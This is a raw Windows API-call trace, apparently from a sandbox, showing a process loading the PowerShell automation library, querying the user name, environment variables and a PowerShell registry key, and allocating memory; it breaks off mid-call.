GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\d5bfbe52-943a-4f73-97b1-39918fa00598"), fInfoLevelId=0x0, lpFileInformation=0x2ee8ac | out: lpFileInformation=0x2ee8ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc58fe50, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0xe58c5f0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0xe58c5f0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0065.610] GetLastError () returned 0xcb [0065.610] SetErrorMode (uMode=0x1) returned 0x1 [0065.610] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598", nBufferLength=0x105, lpBuffer=0x2ee440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598", lpFilePart=0x0) returned 0x50 [0065.610] GetLastError () returned 0xcb [0065.610] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\.", nBufferLength=0x105, lpBuffer=0x2ee3dc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598", lpFilePart=0x0) returned 0x50 [0065.610] GetLastError () returned 0xcb [0065.620] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598", nBufferLength=0x105, lpBuffer=0x2ee4fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598", lpFilePart=0x0) returned 0x50 [0065.620] GetLastError () returned 0xcb [0065.620] SetErrorMode (uMode=0x1) returned 0x1 [0065.620] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\d5bfbe52-943a-4f73-97b1-39918fa00598"), fInfoLevelId=0x0, lpFileInformation=0x2f06ae4 | out: lpFileInformation=0x2f06ae4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc58fe50, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0xe58c5f0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0xe58c5f0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0065.620] GetLastError () returned 0xcb [0065.620] SetErrorMode (uMode=0x1) returned 0x1 [0065.622] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee544, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0065.622] GetLastError () returned 0xcb [0065.622] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee4f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0065.622] GetLastError () returned 0xcb [0065.622] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee4f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0065.622] GetLastError () returned 0xcb [0065.622] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee4f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0065.622] GetLastError () returned 0xcb [0065.655] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x4139f8, nSize=0x2eea98 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x2eea98) returned 0x1 [0065.658] GetLastError () returned 0xcb [0065.658] GetUserNameW (in: lpBuffer=0x413238, pcbBuffer=0x2eeaa0 | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x2eeaa0) returned 1 [0065.659] ReportEventW (hEventLog=0x4f20004, wType=0x4, wCategory=0x4, dwEventID=0x190, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x2f2783c*="Available", lpRawData=0x2f276f8) returned 1 [0065.670] GetLastError () returned 0x0 [0065.671] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x413238, nSize=0x80 | out: lpBuffer="") returned 0x0 [0065.671] GetLastError () returned 0xcb [0065.672] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x413238, nSize=0x80 | out: lpBuffer="") returned 0x0 [0065.672] GetLastError () returned 0xcb [0065.681] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0065.681] GetLastError () returned 0xcb [0065.681] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee528, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0065.681] GetLastError () returned 0xcb [0065.681] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee528, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0065.681] GetLastError () returned 0xcb [0065.684] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee51c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0065.684] GetLastError () returned 0xcb [0065.684] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee4cc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0065.684] GetLastError () returned 0xcb [0065.684] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee4cc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0065.684] GetLastError () returned 0xcb [0065.684] GetEnvironmentVariableW (in: lpName="HomeDrive", lpBuffer=0x413238, nSize=0x80 | out: lpBuffer="C:") returned 0x2 [0065.684] GetLastError () returned 0xcb [0065.684] GetEnvironmentVariableW (in: lpName="HomePath", lpBuffer=0x413238, nSize=0x80 | out: lpBuffer="\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x1b [0065.684] GetLastError () returned 0xcb [0065.684] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee51c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0065.684] GetLastError () returned 0xcb [0065.684] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee4cc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0065.684] GetLastError () returned 0xcb [0065.685] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee4cc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0065.685] GetLastError () returned 0xcb [0065.685] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee51c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0065.685] GetLastError () returned 0xcb [0065.685] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee4cc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0065.685] GetLastError () returned 0xcb [0065.685] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee4cc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0065.685] GetLastError () returned 0xcb [0065.685] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee51c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0065.685] GetLastError () returned 0xcb [0065.685] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee4cc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0065.685] GetLastError () returned 0xcb [0065.685] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee4cc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0065.685] GetLastError () returned 0xcb [0065.685] GetCurrentProcessId () returned 0x330 [0065.685] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee51c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0065.685] GetLastError () returned 0xcb [0065.685] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee4cc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0065.685] GetLastError () returned 0xcb [0065.685] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee4cc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0065.685] GetLastError () returned 0xcb [0065.686] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee508, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0065.686] GetLastError () returned 0xcb [0065.686] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee4b8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0065.686] GetLastError () returned 0xcb [0065.686] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee4b8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0065.686] GetLastError () returned 0xcb [0065.686] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee508, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0065.686] GetLastError () returned 0xcb [0065.686] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee4b8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0065.686] GetLastError () returned 0xcb [0065.686] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee4b8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0065.686] GetLastError () returned 0xcb [0065.687] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee51c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0065.687] GetLastError () returned 0xcb [0065.687] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee4cc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0065.687] GetLastError () returned 0xcb [0065.687] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee4cc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0065.687] GetLastError () returned 0xcb [0065.687] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x2eea2c | out: phkResult=0x2eea2c*=0x34c) returned 0x0 [0065.687] RegQueryValueExW (in: hKey=0x34c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2eea74, lpData=0x0, lpcbData=0x2eea70*=0x0 | out: lpType=0x2eea74*=0x1, lpData=0x0, lpcbData=0x2eea70*=0x56) returned 0x0 [0065.687] RegQueryValueExW (in: hKey=0x34c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2eea74, lpData=0x413238, lpcbData=0x2eea70*=0x56 | out: lpType=0x2eea74*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x2eea70*=0x56) returned 0x0 [0065.688] RegCloseKey (hKey=0x34c) returned 0x0 [0065.688] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee51c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0065.688] GetLastError () returned 0xcb [0065.688] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee4cc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0065.688] GetLastError () returned 0xcb [0065.688] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee4cc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0065.688] GetLastError () returned 0xcb [0065.688] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee504, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0065.688] GetLastError () returned 0xcb [0065.689] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee4b4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0065.689] GetLastError () returned 0xcb [0065.689] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ee4b4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0065.689] GetLastError () returned 0xcb [0065.710] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2edb74, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0065.710] GetLastError () returned 0xcb [0065.710] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2edb24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0065.710] GetLastError () returned 0xcb [0065.710] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2edb24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0065.710] GetLastError () returned 0xcb [0065.710] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2edb74, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0065.710] GetLastError () returned 0xcb [0065.711] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2edb24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0065.711] GetLastError () returned 0xcb [0065.711] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2edb24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0065.711] GetLastError () returned 0xcb [0065.711] VirtualQuery (in: lpAddress=0x2ed0a0, lpBuffer=0x2ee0a0, dwLength=0x1c | out: lpBuffer=0x2ee0a0*(BaseAddress=0x2ed000, AllocationBase=0x2b0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0065.715] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x413238, nSize=0x80 | out: lpBuffer="") returned 0x0 [0065.715] GetLastError () returned 0xcb [0065.720] VirtualQuery (in: lpAddress=0x2ed0a0, lpBuffer=0x2ee0a0, dwLength=0x1c | out: lpBuffer=0x2ee0a0*(BaseAddress=0x2ed000, AllocationBase=0x2b0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0066.332] LocalAlloc (uFlags=0x0, uBytes=0x80) returned 0x4292e0 [0066.332] GetLastError () returned 0x0 [0066.333] LocalAlloc (uFlags=0x0, uBytes=0x80) returned 0x429368 [0066.334] GetLastError () returned 0x0 [0066.508] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ede9c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0066.508] GetLastError () returned 0xcb [0066.508] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ede4c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0066.508] GetLastError () returned 0xcb [0066.508] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ede4c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0066.508] GetLastError () returned 0xcb [0066.508] VirtualQuery (in: lpAddress=0x2ed3c8, lpBuffer=0x2ee3c8, dwLength=0x1c | out: lpBuffer=0x2ee3c8*(BaseAddress=0x2ed000, AllocationBase=0x2b0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0066.509] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ede9c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0066.509] GetLastError () returned 0xcb [0066.509] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2ede4c, lpFilePart=0x0 | out: 